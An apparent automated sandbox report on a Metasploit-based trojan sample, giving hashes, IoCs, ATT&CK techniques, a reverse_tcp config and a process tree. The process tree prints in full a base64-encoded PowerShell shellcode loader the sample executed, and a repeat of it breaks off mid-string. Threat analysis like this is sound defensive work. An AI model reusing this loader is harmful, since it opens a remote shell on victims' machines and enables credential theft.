metasploit | ba3daa8ea1a493641aaf6e7966c2e7d18cdd9a366d72439384fe4d9d69e02a67

Analysis

max time kernel
134s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
10/06/2024, 04:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
Size 9.4MB
Sample240610-emhveace23
SHA256 ba3daa8ea1a493641aaf6e7966c2e7d18cdd9a366d72439384fe4d9d69e02a67
MD5 08eb8f631d542450fe6c8ecf644d8ab0
SHA1 b67dddbe8f99871a3b152860698aaa388ce61fdb
SHA512 4043ed7cc90909a0b5f07dbf4de942d78c18137710d769b14b21d1c2ebed599a0191807e32e4640beb1bdbdb41d842af305668cf9451d01b3ef7e7475cc8daf1
SSDEEP 196608:moTDnaRY3pvuuDfyGj21X5Sp6GemDMPwQRA+xWnC2WYYPFAfhJH:FDnaRY3pJDfDqpfaMPFRP2JDb
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

metasploit backdoor spyware stealer trojan

Malware Config

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

windows/reverse_tcp

10.0.0.66:4444

Signatures

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Loads dropped DLL 39 IoCs

pid	Process
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1376	powershell.exe
1376	powershell.exe
2968	powershell.exe
2968	powershell.exe
3568	powershell.exe
3568	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1376	powershell.exe
Token: SeDebugPrivilege	2968	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4408 wrote to memory of 4184	4408	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe	83
PID 4408 wrote to memory of 4184	4408	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe	83
PID 4184 wrote to memory of 1500	4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe	86
PID 4184 wrote to memory of 1500	4184	08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe	86
PID 1500 wrote to memory of 1376	1500	cmd.exe	87
PID 1500 wrote to memory of 1376	1500	cmd.exe	87
PID 1376 wrote to memory of 2968	1376	powershell.exe	88
PID 1376 wrote to memory of 2968	1376	powershell.exe	88
PID 2968 wrote to memory of 3568	2968	powershell.exe	90
PID 2968 wrote to memory of 3568	2968	powershell.exe	90
PID 2968 wrote to memory of 3568	2968	powershell.exe	90
PID 3568 wrote to memory of 4436	3568	powershell.exe	95
PID 3568 wrote to memory of 4436	3568	powershell.exe	95
PID 3568 wrote to memory of 4436	3568	powershell.exe	95
PID 4436 wrote to memory of 1476	4436	csc.exe	96
PID 4436 wrote to memory of 1476	4436	csc.exe	96
PID 4436 wrote to memory of 1476	4436	csc.exe	96

C:\Users\Admin\AppData\Local\Temp\08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4408
- C:\Users\Admin\AppData\Local\Temp\08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe
  "C:\Users\Admin\AppData\Local\Temp\08eb8f631d542450fe6c8ecf644d8ab0_NeikiAnalytics.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "Start.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w 1 -C "sv LgG -;sv i ec;sv GON ((gv LgG).value.toString()+(gv i).value.toString());powershell (gv GON).value.toString() 'JABkAGMAZwBvACAAPQAgACcAJAB0AEoAagAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJAB0AEoAagAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkAGIALAAwAHgAYwBlACwAMAB4AGIAYgAsADAAeABhAGIALAAwAHgANwAxACwAMAB4ADIAMwAsADAAeABmAGIALAAwAHgAZAA5ACwAMAB4ADcANAAsADAAeAAyADQALAAwAHgAZgA0ACwAMAB4ADUAOAAsADAAeAAyADkALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA0AGIALAAwAHgAMwAxACwAMAB4ADUAOAAsADAAeAAxADcALAAwAHgAOAAzACwAMAB4AGMAMAAsADAAeAAwADQALAAwAHgAMAAzACwAMAB4AGYAMwAsADAAeAA2ADIALAAwAHgAYwAxACwAMAB4ADAAZQAsADAAeABmAGYALAAwAHgANgBkACwAMAB4ADgAYQAsADAAeABmADEALAAwAHgAZgBmACwAMAB4ADYAZAAsADAAeABmADUALAAwAHgAYwAwACwAMAB4ADIAZAAsADAAeABlADQALAAwAHgAMQAwACwAMAB4ADQANgAsADAAeAA1AGEALAAwAHgAYQA1ACwAMAB4AGUAYQAsADAAeAAwAGMALAAwAHgAMABlACwAMAB4ADQANgAsADAAeAA4ADAALAAwAHgANAAxACwAMAB4AGIAYQAsADAAeAA1ADkALAAwAHgAMgAxACwAMAB4ADIAZgAsADAAeABlADQALAAwAHgANQA0ACwAMAB4AGIAMgAsADAAeAAzAGIALAAwAHgAOQBhACwAMAB4AGIAZQAsADAAeAA3AGQALAAwAHgAZgBjACwAMAB4AGYANgAsADAAeAA4ADMALAAwAHgAMQBjACwAMAB4ADgAMAAsADAAeAAwADQALAAwAHgAZAAwACwAMAB4AGYAZQAsADAAeABiADkALAAwAHgAYwA3ACwAMAB4ADIANQAsADAAeABmAGUALAAwAHgAZgBlACwAMAB4ADkAZQAsADAAeAA0ADAALAAwAHgAZQBmACwAMAB4ADUAMwAsADAAeABhAGIALAAwAHgAZgA5ACwAMAB4AGYAZgAsADAAeAAwADQALAAwAHgAMgAwACwAMAB4AGIAZgAsADAAeABjADMALAAwAHgAYQBiACwAMAB4AGUANgAsADAAeABjAGIALAAwAHgANwBjACwAMAB4AGQANAAsADAAeAA4ADMALAAwAHgAMABjACwAMAB4ADAAOAAsADAAeAA2ADgALAAwAHgAOABhACwAMAB4ADUAYwAsADAAeAA3AGEALAAwAHgAMgA4ACwAMAB4AGEAYwAsADAAeAA1AGQALAAwAHgAYQBlACwAMAB4ADkAOQAsADAAeAAyADcALAAwAHgAMQA1ACwAMAB4ADQAOAAsADAAeAA5AGYALAAwAHgAZgBlACwAMAB4AGQAMgAsADAAeAA1ADQALAAwAHgAZAA2ACwAMAB4ADgAYgAsADAAeAAyAGYALAAwAHgAMgBlACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgANABlACwAMAB4AGUANgAsADAAeAAyAGIALAAwAHgANABhACwAMAB4AGYAZAAsADAAeABjADcALAAwAHgAOAAzACwAMAB4ADQANwAsADAAeABmAGYALAAwAHgAMAAwACwAMAB4ADIAMwAsADAAeABiADcALAAwAHgAOABhACwAMAB4ADcAYQAsADAAeAA1ADcALAAwAHgANABhACwAMAB4ADgAZAAsADAAeABiADgALAAwAHgAMgA1ACwAMAB4ADkAMAAsADAAeAAxADgALAAwAHgANQBmACwAMAB4ADgAZAAsADAAeAA1ADMALAAwAHgAYgBhACwAMAB4AGIAYgAsADAAeAAyAGYALAAwAHgAYgAwACwAMAB4ADUAZAAsADAAeAA0AGYALAAwAHgAMgAzACwAMAB4ADcAZAAsADAAeAAyADkALAAwAHgAMQA3ACwAMAB4ADIAMAAsADAAeAA4ADAALAAwAHgAZgBlACwAMAB4ADIAMwAsADAAeAA1AGMALAAwAHgAMAA5ACwAMAB4ADAAMQAsADAAeABlADQALAAwAHgAZAA0ACwAMAB4ADQAOQAsADAAeAAyADYALAAwAHgAMgAwACwAMAB4AGIAYwAsADAAeAAwAGEALAAwAHgANAA3ACwAMAB4ADcAMQAsADAAeAAxADgALAAwAHgAZgBkACwAMAB4ADcAOAAsADAAeAA2ADEALAAwAHgAYwA0ACwAMAB4AGEAMgAsADAAeABkAGMALAAwAHgAZQA5ACwAMAB4AGUANwAsADAAeABiADUALAAwAHgANgAxACwAMAB4ADEAMgAsADAAeABmADgALAAwAHgAYgBhACwAMAB4ADMAZgAsADAAeAA4ADUALAAwAHgAMwA0ACwAMAB4ADcANgAsADAAeABjADAALAAwAHgANQA1ACwAMAB4ADUAMwAsADAAeAAwADEALAAwAHgAYgAzACwAMAB4ADYANwAsADAAeABmAGMALAAwAHgAYgA5ACwAMAB4ADUAYgAsADAAeABjADQALAAwAHgANwA1ACwAMAB4ADYANwAsADAAeAA5AGIALAAwAHgANQBkACwAMAB4ADkAMQAsADAAeAA5ADgALAAwAHgANwAzACwAMAB4AGUANQAsADAAeABmADIALAAwAHgANgA3ACwAMAB4ADcANAAsADAAeAAxADYALAAwAHgAZABhACwAMAB4AGEAMwAsADAAeAAyADAALAAwAHgANAA2ACwAMAB4ADcANAAsADAAeAAwADIALAAwAHgANAA5ACwAMAB4ADAAZAAsADAAeAA4ADQALAAwAHgAYQBiACwAMAB4ADkAYwAsADAAeABiADgALAAwAHgAOABlACwAMAB4ADMAYgAsADAAeAAxADUALAAwAHgAMwBkACwAMAB4ADgAZgAsADAAeABmADkALAAwAHgANAAxACwAMAB4ADMAZgAsADAAeAA4AGYALAAwAHgAZQBjACwAMAB4AGMAZAAsADAAeABiADYALAAwAHgANgA5ACwAMAB4ADUAZQAsADAAeABiAGUALAAwAHgAOQA4ACwAMAB4ADIANQAsADAAeAAxAGUALAAwAHgANgBlACwAMAB4ADUAOQAsADAAeAA5ADYALAAwAHgAZgA2ACwAMAB4ADYANAAsADAAeAA1ADYALAAwAHgAYwA5ACwAMAB4AGUANgAsADAAeAA4ADYALAAwAHgAYgBjACwAMAB4ADYAMgAsADAAeAA4AGMALAAwAHgANgA4ACwAMAB4ADYAOQAsADAAeABkAGEALAAwAHgAMwA4ACwAMAB4ADEAMAAsADAAeAAzADAALAAwAHgAOQAwACwAMAB4AGQAOQAsADAAeABkAGQALAAwAHgAZQBlACwAMAB4AGQAYwAsADAAeABkADkALAAwAHgANQA2ACwAMAB4ADEAZAAsADAAeAAyADAALAAwAHgAOQA3ACwAMAB4ADkAZQAsADAAeAA2ADgALAAwAHgAMwAyACwAMAB4ADQAZgAsADAAeAA2AGYALAAwAHgAMgA3ACwAMAB4ADYAOAAsADAAeABkADkALAAwAHgANwAwACwAMAB4ADkAZAAsADAAeAAwADcALAAwAHgAZQA1ACwAMAB4AGUANAAsADAAeAAxAGEALAAwAHgAOABlACwAMAB4AGIAMgAsADAAeAA5ADAALAAwAHgAMgAwACwAMAB4AGYANwAsADAAeABmADQALAAwAHgAMwBlACwAMAB4AGQAYQAsADAAeABkADIALAAwAHgAOABmACwAMAB4AGYANwAsADAAeAA0AGUALAAwAHgAOQBkACwAMAB4AGUANwAsADAAeABmADcALAAwAHgAOQBlACwAMAB4ADEAZAAsADAAeABmADcALAAwAHgAYQAxACwAMAB4AGYANAAsADAAeAAxAGQALAAwAHgAOQBmACwAMAB4ADEANQAsADAAeABhAGQALAAwAHgANABkACwAMAB4AGIAYQAsADAAeAA1ADkALAAwAHgANwA4ACwAMAB4AGUAMgAsADAAeAAxADcALAAwAHgAYwBjACwAMAB4ADgAMwAsADAAeAA1ADMALAAwAHgAYwA0ACwAMAB4ADQANwAsADAAeABlAGMALAAwAHgANQA5ACwAMAB4ADMAMwAsADAAeABhAGYALAAwAHgAYgAzACwAMAB4AGEAMgAsADAAeAAxADYALAAwAHgAMwAxACwAMAB4ADgAZgAsADAAeAA3ADQALAAwAHgANQBlACwAMAB4ADQANwAsADAAeABlADEALAAwAHgANAA0ADsAJABnACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAAKAAkAHoALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAB4ADEAMAAwADAAKQB7ACQAZwAgAD0AIAAkAHoALgBMAGUAbgBnAHQAaAB9ADsAJABEAGsASQBPAD0AJAB3ADoAOgBWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoADAALAAwAHgAMQAwADAAMAAsACQAZwAsADAAeAA0ADAAKQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAAoACQAegAuAEwAZQBuAGcAdABoAC0AMQApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABEAGsASQBPAC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAGkAKQAsACAAJAB6AFsAJABpAF0ALAAgADEAKQB9ADsAJAB3ADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABEAGsASQBPACwAMAAsADAALAAwACkAOwBmAG8AcgAgACgAOwA7ACkAewBTAHQAYQByAHQALQBzAGwAZQBlAHAAIAA2ADAAfQA7ACcAOwAkAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAZABjAGcAbwApACkAOwAkAEsAUgBuACAAPQAgACIALQBlAGMAIAAiADsAaQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA4ACkAewAkAEwAUABqACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAaQBlAHgAIAAiACYAIAAkAEwAUABqACAAJABLAFIAbgAgACQAZQAiAH0AZQBsAHMAZQB7ADsAaQBlAHgAIAAiACYAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABLAFIAbgAgACQAZQAiADsAfQA='"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1376
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ec JABkAGMAZwBvACAAPQAgACcAJAB0AEoAagAgAD0AIAAnACcAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABBAGwAbABvAGMAYQB0AGkAbwBuAFQAeQBwAGUALAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG0AcwB2AGMAcgB0AC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABtAGUAbQBzAGUAdAAoAEkAbgB0AFAAdAByACAAZABlAHMAdAAsACAAdQBpAG4AdAAgAHMAcgBjACwAIAB1AGkAbgB0ACAAYwBvAHUAbgB0ACkAOwAnACcAOwAkAHcAIAA9ACAAQQBkAGQALQBUAHkAcABlACAALQBtAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJAB0AEoAagAgAC0ATgBhAG0AZQAgACIAVwBpAG4AMwAyACIAIAAtAG4AYQBtAGUAcwBwAGEAYwBlACAAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AbgBzACAALQBwAGEAcwBzAHQAaAByAHUAOwBbAEIAeQB0AGUAWwBdAF0AOwBbAEIAeQB0AGUAWwBdAF0AJAB6ACAAPQAgADAAeABkAGIALAAwAHgAYwBlACwAMAB4AGIAYgAsADAAeABhAGIALAAwAHgANwAxACwAMAB4ADIAMwAsADAAeABmAGIALAAwAHgAZAA5ACwAMAB4ADcANAAsADAAeAAyADQALAAwAHgAZgA0ACwAMAB4ADUAOAAsADAAeAAyADkALAAwAHgAYwA5ACwAMAB4AGIAMQAsADAAeAA0AGIALAAwAHgAMwAxACwAMAB4ADUAOAAsADAAeAAxADcALAAwAHgAOAAzACwAMAB4AGMAMAAsADAAeAAwADQALAAwAHgAMAAzACwAMAB4AGYAMwAsADAAeAA2ADIALAAwAHgAYwAxACwAMAB4ADAAZQAsADAAeABmAGYALAAwAHgANgBkACwAMAB4ADgAYQAsADAAeABmADEALAAwAHgAZgBmACwAMAB4ADYAZAAsADAAeABmADUALAAwAHgAYwAwACwAMAB4ADIAZAAsADAAeABlADQALAAwAHgAMQAwACwAMAB4ADQANgAsADAAeAA1AGEALAAwAHgAYQA1ACwAMAB4AGUAYQAsADAAeAAwAGMALAAwAHgAMABlACwAMAB4ADQANgAsADAAeAA4ADAALAAwAHgANAAxACwAMAB4AGIAYQAsADAAeAA1ADkALAAwAHgAMgAxACwAMAB4ADIAZgAsADAAeABlADQALAAwAHgANQA0ACwAMAB4AGIAMgAsADAAeAAzAGIALAAwAHgAOQBhACwAMAB4AGIAZQAsADAAeAA3AGQALAAwAHgAZgBjACwAMAB4AGYANgAsADAAeAA4ADMALAAwAHgAMQBjACwAMAB4ADgAMAAsADAAeAAwADQALAAwAHgAZAAwACwAMAB4AGYAZQAsADAAeABiADkALAAwAHgAYwA3ACwAMAB4ADIANQAsADAAeABmAGUALAAwAHgAZgBlACwAMAB4ADkAZQAsADAAeAA0ADAALAAwAHgAZQBmACwAMAB4ADUAMwAsADAAeABhAGIALAAwAHgAZgA5ACwAMAB4AGYAZgAsADAAeAAwADQALAAwAHgAMgAwACwAMAB4AGIAZgAsADAAeABjADMALAAwAHgAYQBiACwAMAB4AGUANgAsADAAeABjAGIALAAwAHgANwBjACwAMAB4AGQANAAsADAAeAA4ADMALAAwAHgAMABjACwAMAB4ADAAOAAsADAAeAA2ADgALAAwAHgAOABhACwAMAB4ADUAYwAsADAAeAA3AGEALAAwAHgAMgA4ACwAMAB4AGEAYwAsADAAeAA1AGQALAAwAHgAYQBlACwAMAB4ADkAOQAsADAAeAAyADcALAAwAHgAMQA1ACwAMAB4ADQAOAAsADAAeAA5AGYALAAwAHgAZgBlACwAMAB4AGQAMgAsADAAeAA1ADQALAAwAHgAZAA2ACwAMAB4ADgAYgAsADAAeAAyAGYALAAwAHgAMgBlACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgANABlACwAMAB4AGUANgAsADAAeAAyAGIALAAwAHgANABhACwAMAB4AGYAZAAsADAAeABjADcALAAwAHgAOAAzACwAMAB4ADQANwAsADAAeABmAGYALAAwAHgAMAAwACwAMAB4ADIAMwAsADAAeABiADcALAAwAHgAOABhACwAMAB4ADcAYQAsADAAeAA1ADcALAAwAHgANABhACwAMAB4ADgAZAAsADAAeABiADgALAAwAHgAMgA1ACwAMAB4ADkAMAAsADAAeAAxADgALAAwAHgANQBmACwAMAB4ADgAZAAsADAAeAA1ADMALAAwAHgAYgBhACwAMAB4AGIAYgAsADAAeAAyAGYALAAwAHgAYgAwACwAMAB4ADUAZAAsADAAeAA0AGYALAAwAHgAMgAzACwAMAB4ADcAZAAsADAAeAAyADkALAAwAHgAMQA3ACwAMAB4ADIAMAAsADAAeAA4ADAALAAwAHgAZgBlACwAMAB4ADIAMwAsADAAeAA1AGMALAAwAHgAMAA5ACwAMAB4ADAAMQAsADAAeABlADQALAAwAHgAZAA0ACwAMAB4ADQAOQAsADAAeAAyADYALAAwAHgAMgAwACwAMAB4AGIAYwAsADAAeAAwAGEALAAwAHgANAA3ACwAMAB4ADcAMQAsADAAeAAxADgALAAwAHgAZgBkACwAMAB4ADcAOAAsADAAeAA2ADEALAAwAHgAYwA0ACwAMAB4AGEAMgAsADAAeABkAGMALAAwAHgAZQA5ACwAMAB4AGUANwAsADAAeABiADUALAAwAHgANgAxACwAMAB4ADEAMgAsADAAeABmADgALAAwAHgAYgBhACwAMAB4ADMAZgAsADAAeAA4ADUALAAwAHgAMwA0ACwAMAB4ADcANgAsADAAeABjADAALAAwAHgANQA1ACwAMAB4ADUAMwAsADAAeAAwADEALAAwAHgAYgAzACwAMAB4ADYANwAsADAAeABmAGMALAAwAHgAYgA5ACwAMAB4ADUAYgAsADAAeABjADQALAAwAHgANwA1ACwAMAB4ADYANwAsADAAeAA5AGIALAAwAHgANQBkACwAMAB4ADkAMQAsADAAeAA5ADgALAAwAHgANwAzACwAMAB4AGUANQAsADAAeABmADIALAAwAHgANgA3ACwAMAB4ADcANAAsADAAeAAxADYALAAwAHgAZABhACwAMAB4AGEAMwAsADAAeAAyADAALAAwAHgANAA2ACwAMAB4ADcANAAsADAAeAAwADIALAAwAHgANAA5ACwAMAB4ADAAZAAsADAAeAA4ADQALAAwAHgAYQBiACwAMAB4ADkAYwAsADAAeABiADgALAAwAHgAOABlACwAMAB4ADMAYgAsADAAeAAxADUALAAwAHgAMwBkACwAMAB4ADgAZgAsADAAeABmADkALAAwAHgANAAxACwAMAB4ADMAZgAsADAAeAA4AGYALAAwAHgAZQBjACwAMAB4AGMAZAAsADAAeABiADYALAAwAHgANgA5ACwAMAB4ADUAZQAsADAAeABiAGUALAAwAHgAOQA4ACwAMAB4ADIANQAsADAAeAAxAGUALAAwAHgANgBlACwAMAB4ADUAOQAsADAAeAA5ADYALAAwAHgAZgA2ACwAMAB4ADYANAAsADAAeAA1ADYALAAwAHgAYwA5ACwAMAB4AGUANgAsADAAeAA4ADYALAAwAHgAYgBjACwAMAB4ADYAMgAsADAAeAA4AGMALAAwAHgANgA4ACwAMAB4ADYAOQAsADAAeABkAGEALAAwAHgAMwA4ACwAMAB4ADEAMAAsADAAeAAzADAALAAwAHgAOQAwACwAMAB4AGQAOQAsADAAeABkAGQALAAwAHgAZQBlACwAMAB4AGQAYwAsADAAeABkADkALAAwAHgANQA2ACwAMAB4ADEAZAAsADAAeAAyADAALAAwAHgAOQA3ACwAMAB4ADkAZQAsADAAeAA2ADgALAAwAHgAMwAyA